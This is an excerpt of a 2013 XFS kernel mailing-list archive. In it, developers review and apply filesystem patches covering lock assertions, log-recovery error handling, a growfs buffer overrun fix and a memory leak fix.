1386277865-04cbb0416855e100001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 3iEqHfGWXLwXOaAz for ; Thu, 05 Dec 2013 13:11:06 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhQHAJnroFJ5LHyk/2dsb2JhbABZgweDM7B3hU+BGxd0giUBAQUnExwjEAgDDgoJJQ8FJQMhE4gBwVUXFo5qB4QzA5gTkhSDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 06 Dec 2013 07:40:48 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VogC7-0007y0-4P; Fri, 06 Dec 2013 08:10:47 +1100 Date: Fri, 6 Dec 2013 08:10:47 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 5/5] xfs: assert that we hold the ilock for extent map access Message-ID: <20131205211047.GG29897@dastard> X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: assert that we hold the ilock for extent map access References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.874279041@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205155951.874279041@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386277865 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142872 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 05, 2013 at 07:58:35AM -0800, Christoph Hellwig wrote: > Make sure that xfs_bmapi_read has the ilock held in some way, and that > xfs_bmapi_write, xfs_bmapi_delay and xfs_iread_extents are called with > the ilock held exclusively. > > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_bmap.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_bmap.c 2013-11-29 14:25:12.172459195 +0100 > +++ xfs/fs/xfs/xfs_bmap.c 2013-12-05 10:03:28.243801633 +0100 > @@ -3997,6 +3997,7 @@ xfs_bmapi_read( > ASSERT(*nmap >= 1); > ASSERT(!(flags & ~(XFS_BMAPI_ATTRFORK|XFS_BMAPI_ENTIRE| > XFS_BMAPI_IGSTATE))); > + ASSERT(xfs_isilocked(ip, XFS_ILOCK_SHARED|XFS_ILOCK_EXCL)); > > if (unlikely(XFS_TEST_ERROR( > (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && > @@ -4191,6 +4192,7 @@ xfs_bmapi_delay( > ASSERT(*nmap >= 1); > ASSERT(*nmap <= XFS_BMAP_MAX_NMAP); > ASSERT(!(flags & ~XFS_BMAPI_ENTIRE)); > + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > > if (unlikely(XFS_TEST_ERROR( > (XFS_IFORK_FORMAT(ip, XFS_DATA_FORK) != XFS_DINODE_FMT_EXTENTS && > @@ -4484,6 +4486,7 @@ xfs_bmapi_write( > ASSERT(tp != NULL); > ASSERT(len > 0); > ASSERT(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL); > + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > > if (unlikely(XFS_TEST_ERROR( > (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && > Index: xfs/fs/xfs/xfs_inode_fork.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_inode_fork.c 2013-12-05 09:57:24.347809100 +0100 > +++ xfs/fs/xfs/xfs_inode_fork.c 2013-12-05 09:59:04.767807039 +0100 > @@ -431,6 +431,8 @@ xfs_iread_extents( > xfs_ifork_t *ifp; > xfs_extnum_t nextents; > > + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > + > if (unlikely(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE)) { > XFS_ERROR_REPORT("xfs_iread_extents", XFS_ERRLEVEL_LOW, > ip->i_mount); Looks good, but can we add an assert to xfs_bunmapi() at the same time just to cover all the public bmapi interfaces with locking requirements? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 5 15:17:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2B3087F6D for ; Thu, 5 Dec 2013 15:17:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 141AD30408E for ; Thu, 5 Dec 2013 13:17:43 -0800 (PST) X-ASG-Debug-ID: 1386278260-04cb6c537b54f400001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id RBHCmnyHaCSHSeu7 for ; Thu, 05 Dec 2013 13:17:41 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhQHAMbsoFJ5LHyk/2dsb2JhbABZgweDM7B3hU+BGxd0giUBAQU6HCMQCAMOCgklDwUlAyETiAHBVBcWjmoHhDMDmBOKTIdIgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 06 Dec 2013 07:47:40 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VogIk-0007yt-G2; Fri, 06 Dec 2013 08:17:38 +1100 Date: Fri, 6 Dec 2013 08:17:38 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/5] xfs: use xfs_ilock_map_shared in xfs_attr_get Message-ID: <20131205211738.GH29897@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/5] xfs: use xfs_ilock_map_shared in xfs_attr_get References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.679310054@bombadil.infradead.org> <20131205205910.GD29897@dastard> <20131205210159.GA30318@infradead.org> <20131205210557.GF29897@dastard> <20131205211055.GA3209@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205211055.GA3209@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386278260 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142872 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 05, 2013 at 01:10:55PM -0800, Christoph Hellwig wrote: > On Fri, Dec 06, 2013 at 08:05:57AM +1100, Dave Chinner wrote: > > > Haven't really done an in-depth audit, mostly just looking at > > > where the asserts kick in.. > > > > Right - I just did a scan with cscope on the users of > > XFS_ILOCK_SHARED, and those two were the only ones that stuck out > > that weren't handled correctly.... > > With MAXPATHLEN at 1024 a symlink is at max 2 extents and thus never in > btree format, so I don't think we'll need it in readlink. The attr > cases look real, though. True, because the data fork will always have space for 3 extents (#define MINDBTPTRS 3) and so it won't go out of line regardless of the attribute fork. Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 5 15:22:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 88EFC7F6D for ; Thu, 5 Dec 2013 15:22:20 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 73C91304062 for ; Thu, 5 Dec 2013 13:22:20 -0800 (PST) X-ASG-Debug-ID: 1386278539-04cbb0416755e6f0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id yBJsNFre1cKQlYbA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 13:22:19 -0800 (PST) X-Barracuda-Envelope-From: BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VogNH-0004O7-D4; Thu, 05 Dec 2013 21:22:19 +0000 Date: Thu, 5 Dec 2013 13:22:19 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 5/5] xfs: assert that we hold the ilock for extent map access Message-ID: <20131205212219.GA12602@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: assert that we hold the ilock for extent map access References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.874279041@bombadil.infradead.org> <20131205211047.GG29897@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205211047.GG29897@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386278539 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142872 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Dec 06, 2013 at 08:10:47AM +1100, Dave Chinner wrote: > Looks good, but can we add an assert to xfs_bunmapi() at the same > time just to cover all the public bmapi interfaces with locking > requirements? Sure, will do. Btw, I got another idea to sort this mess out a bit better: - add a new XFS_ILOCK_BMAP flag, and fold the bmap locking magic into xfs_ilock. - because the flag is now passed down we can assert that it is passed in xfs_bmapi_read and friends even if the extent list is already read in and thus improve coverage. The downside is another two branches in the common ilock code path. From david@fromorbit.com Thu Dec 5 15:40:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id ED21F7F84 for ; Thu, 5 Dec 2013 15:40:35 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C71678F8049 for ; Thu, 5 Dec 2013 13:40:35 -0800 (PST) X-ASG-Debug-ID: 1386279633-04bdf0132252260001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Cm9Xi9Tlo1MFEUBs for ; Thu, 05 Dec 2013 13:40:34 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhQHAI/xoFJ5LHyk/2dsb2JhbABRCIMHgzOwd4VPgRwXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gBwUgXFo4UVgeEMwOYE5IUgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 06 Dec 2013 08:10:33 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Voger-000828-UG; Fri, 06 Dec 2013 08:40:29 +1100 Date: Fri, 6 Dec 2013 08:40:29 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 5/5] xfs: assert that we hold the ilock for extent map access Message-ID: <20131205214029.GI29897@dastard> X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: assert that we hold the ilock for extent map access References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.874279041@bombadil.infradead.org> <20131205211047.GG29897@dastard> <20131205212219.GA12602@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205212219.GA12602@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386279633 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142872 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 05, 2013 at 01:22:19PM -0800, Christoph Hellwig wrote: > On Fri, Dec 06, 2013 at 08:10:47AM +1100, Dave Chinner wrote: > > Looks good, but can we add an assert to xfs_bunmapi() at the same > > time just to cover all the public bmapi interfaces with locking > > requirements? > > Sure, will do. > > Btw, I got another idea to sort this mess out a bit better: > > - add a new XFS_ILOCK_BMAP flag, and fold the bmap locking magic > into xfs_ilock. > - because the flag is now passed down we can assert that it is > passed in xfs_bmapi_read and friends even if the extent list > is already read in and thus improve coverage. Hmmm - I'm not sure I can see how that would work - the checks on lock mode look at the lock directly, not at some other flag register to indicate the locking context.... Are you thinking of expanding the code in xfs_isilocked() to handle this as well? And what do we do with the unlock case, as we can't tell after the fact from the inode state whether we locked shared or excl because the extent list has now been read in.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From tinguely@eagdhcp-232-151.americas.sgi.com Thu Dec 5 15:41:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 136317F88 for ; Thu, 5 Dec 2013 15:41:28 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id E821730407F for ; Thu, 5 Dec 2013 13:41:27 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id rB5LfR2Y003231 for ; Thu, 5 Dec 2013 15:41:27 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id rB5LfR0i003230; Thu, 5 Dec 2013 15:41:27 -0600 (CST) (envelope-from tinguely) Message-Id: <20131205214054.330817383@sgi.com> User-Agent: quilt/0.51-1 Date: Thu, 05 Dec 2013 15:40:07 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH] xfs: free the efi AIL entry on log recovery failure Content-Disposition: inline; filename=xfs-remove-efi-entry-before-log-unmount.patch If freeing an extent fails during recovery, then the filesystem will be forced down with the EFI entry still on the AIL. This will result in hanging the function xfs_ail_push_all_sync(). This patch is similar to the patches that removed the dquot and inode in commits 32ce90a and dea9609. Found by mounting an metadata dump that triggers a XFS_WANT_CORRUPTED_RETURN() on log recovery. Signed-off-by: Mark Tinguely --- fs/xfs/xfs_log_recover.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) Index: b/fs/xfs/xfs_log_recover.c =================================================================== --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3668,7 +3668,7 @@ xlog_recover_process_efi( extp = &(efip->efi_format.efi_extents[i]); error = xfs_free_extent(tp, extp->ext_start, extp->ext_len); if (error) - goto abort_error; + goto free_abort; xfs_trans_log_efd_extent(tp, efdp, extp->ext_start, extp->ext_len); } @@ -3677,6 +3677,9 @@ xlog_recover_process_efi( error = xfs_trans_commit(tp, 0); return error; +free_abort: + set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); + xfs_efi_release(efip, efip->efi_format.efi_nextents); abort_error: xfs_trans_cancel(tp, XFS_TRANS_ABORT); return error; From bpm@sgi.com Thu Dec 5 16:20:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A09DA7F6D for ; Thu, 5 Dec 2013 16:20:22 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7AD0A8F8035; Thu, 5 Dec 2013 14:20:19 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 3542E4266DC; Thu, 5 Dec 2013 16:20:19 -0600 (CST) Date: Thu, 5 Dec 2013 16:20:19 -0600 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: growfs overruns AGFL buffer on V4 filesystems Message-ID: <20131205222019.GN1935@sgi.com> References: <1385008866-22256-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385008866-22256-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Nov 21, 2013 at 03:41:06PM +1100, Dave Chinner wrote: > From: Dave Chinner > > This loop in xfs_growfs_data_private() is incorrect for V4 > superblocks filesystems: > > for (bucket = 0; bucket < XFS_AGFL_SIZE(mp); bucket++) > agfl->agfl_bno[bucket] = cpu_to_be32(NULLAGBLOCK); > > For V4 filesystems, we don't have a agfl header structure, and so > XFS_AGFL_SIZE() returns an entire sector's worth of entries, which > we then index from an offset into the sector. Hence: buffer overrun. > > This problem was introduced in 3.10 by commit 77c95bba ("xfs: add > CRC checks to the AGFL") which changed the AGFL structure but failed > to update the growfs code to handle the different structures. > > Fix it by using the correct offset into the buffer for both V4 and > V5 filesystems. > > Cc: > Signed-off-by: Dave Chinner Applied this one. I'll add it to an upcoming 3.13 pull request as well. Thanks, Ben From david@fromorbit.com Thu Dec 5 16:32:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9E7E17F58 for ; Thu, 5 Dec 2013 16:32:53 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8CF62304081 for ; Thu, 5 Dec 2013 14:32:50 -0800 (PST) X-ASG-Debug-ID: 1386282768-04cb6c537b552270001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id B1kJCBfOcFZIWQjY for ; Thu, 05 Dec 2013 14:32:48 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhQHAHf+oFJ5LHyk/2dsb2JhbABZgweDM7B3hU+BHBd0giUBAQUnExwjEAgDGAklDwUlAyETiAHBTBcWjgZkB4QzA5gTkhSDPSiBLA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 06 Dec 2013 09:02:47 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VohTQ-00088P-Je; Fri, 06 Dec 2013 09:32:44 +1100 Date: Fri, 6 Dec 2013 09:32:44 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: free the efi AIL entry on log recovery failure Message-ID: <20131205223244.GJ29897@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: free the efi AIL entry on log recovery failure References: <20131205214054.330817383@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205214054.330817383@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386282768 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142873 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Thu, Dec 05, 2013 at 03:40:07PM -0600, Mark Tinguely wrote: > If freeing an extent fails during recovery, then the filesystem > will be forced down with the EFI entry still on the AIL. This > will result in hanging the function xfs_ail_push_all_sync(). > > This patch is similar to the patches that removed the dquot and > inode in commits 32ce90a and dea9609. > > Found by mounting an metadata dump that triggers a > XFS_WANT_CORRUPTED_RETURN() on log recovery. > > Signed-off-by: Mark Tinguely > --- > fs/xfs/xfs_log_recover.c | 5 ++++- > 1 file changed, 4 insertions(+), 1 deletion(-) > > Index: b/fs/xfs/xfs_log_recover.c > =================================================================== > --- a/fs/xfs/xfs_log_recover.c > +++ b/fs/xfs/xfs_log_recover.c > @@ -3668,7 +3668,7 @@ xlog_recover_process_efi( > extp = &(efip->efi_format.efi_extents[i]); > error = xfs_free_extent(tp, extp->ext_start, extp->ext_len); > if (error) > - goto abort_error; > + goto free_abort; > xfs_trans_log_efd_extent(tp, efdp, extp->ext_start, > extp->ext_len); > } > @@ -3677,6 +3677,9 @@ xlog_recover_process_efi( > error = xfs_trans_commit(tp, 0); > return error; > > +free_abort: > + set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); > + xfs_efi_release(efip, efip->efi_format.efi_nextents); > abort_error: > xfs_trans_cancel(tp, XFS_TRANS_ABORT); > return error; Why does a failure of xfs_trans_reserve() in this function not require the XFS_EFI_RECOVERED bit to be set? If it does require setting the XFS_EFI_RECOVERED bit (I think it does), then we unconditionally set that bit in xlog_recover_process_efi() so it should be pulled up to be the first thing the function does, not something that is handled in the error paths. IOWs, we leave this function having guaranteed that we've pulled the EFI from the AIL on any failure. Bigger picture: if we fail to recover this EFI, we abort the AIL walk across all the EFIs in the AIL. That means all unrecovered EFIs get left in the AIL and this will result in hanging the function xfs_ail_push_all_sync(). IOWs, this patch only fixes the case where we get an error on the last EFI in the AIL during recovery. Hence a larger fix is needed here - if we fail to recover an EFI, we need to continue to walk the AIL and set the XFS_EFI_RECOVERED bit on all the EFIs still in the AIL and release them. Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Thu Dec 5 16:37:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B2C837F3F for ; Thu, 5 Dec 2013 16:37:26 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 224E3AC004; Thu, 5 Dec 2013 14:37:25 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 9039F4266DC; Thu, 5 Dec 2013 16:37:25 -0600 (CST) Date: Thu, 5 Dec 2013 16:37:25 -0600 From: Ben Myers To: Chris Mason , Christoph Hellwig Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] fs: fix iversion handling Message-ID: <20131205223725.GO1935@sgi.com> References: <20131119151707.GA13412@infradead.org> <20131204212504.GX1935@sgi.com> <20131204220144.1501.13481@ret> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131204220144.1501.13481@ret> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Dec 04, 2013 at 05:01:44PM -0500, Chris Mason wrote: > Quoting Ben Myers (2013-12-04 16:25:04) > > Hey Christoph, > > > > On Tue, Nov 19, 2013 at 07:17:07AM -0800, Christoph Hellwig wrote: > > > Currently notify_change directly updates i_version for size updates, > > > which not only is counter to how all other fields are updated through > > > struct iattr, but also breaks XFS, which need inode updates to happen > > > under its own lock, and synchronized to the structure that gets written > > > to the log. > > > > > > Remove the update in the common code, and it to btrfs and ext4, > > > XFS already does a proper updaste internally and currently gets a > > > double update with the existing code. > > > > > > IMHO this is 3.13 and -stable material and should go in through the XFS > > > tree. > > > > > > Signed-off-by: Christoph Hellwig > > > > Does this still need a btrfs ack, or is it ready to go? > > The btrfs parts look good to me. > > Signed-off-by: Chris Mason Great. Applied to the xfs tree as per Christoph's suggestion. From bpm@sgi.com Thu Dec 5 16:47:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3B8607F3F for ; Thu, 5 Dec 2013 16:47:49 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0EDAC30408E; Thu, 5 Dec 2013 14:47:49 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id E57AE4266DC; Thu, 5 Dec 2013 16:47:48 -0600 (CST) Date: Thu, 5 Dec 2013 16:47:48 -0600 From: Ben Myers To: Mark Tinguely , Rich Johnston Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3] xfs: fix memory leak in xfs_dir2_node_removename Message-ID: <20131205224748.GP1935@sgi.com> References: <20131006024850.071924201@sgi.com> <20131204210014.GW1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131204210014.GW1935@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Dec 04, 2013 at 03:00:14PM -0600, Ben Myers wrote: > On Sat, Oct 05, 2013 at 09:48:25PM -0500, Mark Tinguely wrote: > > Fix the leak of kernel memory in xfs_dir2_node_removename() > > when xfs_dir2_leafn_remove() returns an error code. > > > > Signed-off-by: Mark Tinguely > > Looks good. > > Reviewed-by: Ben Myers Applied this one. Rich, I think there are xfsprogs bits to go with. From bpm@sgi.com Thu 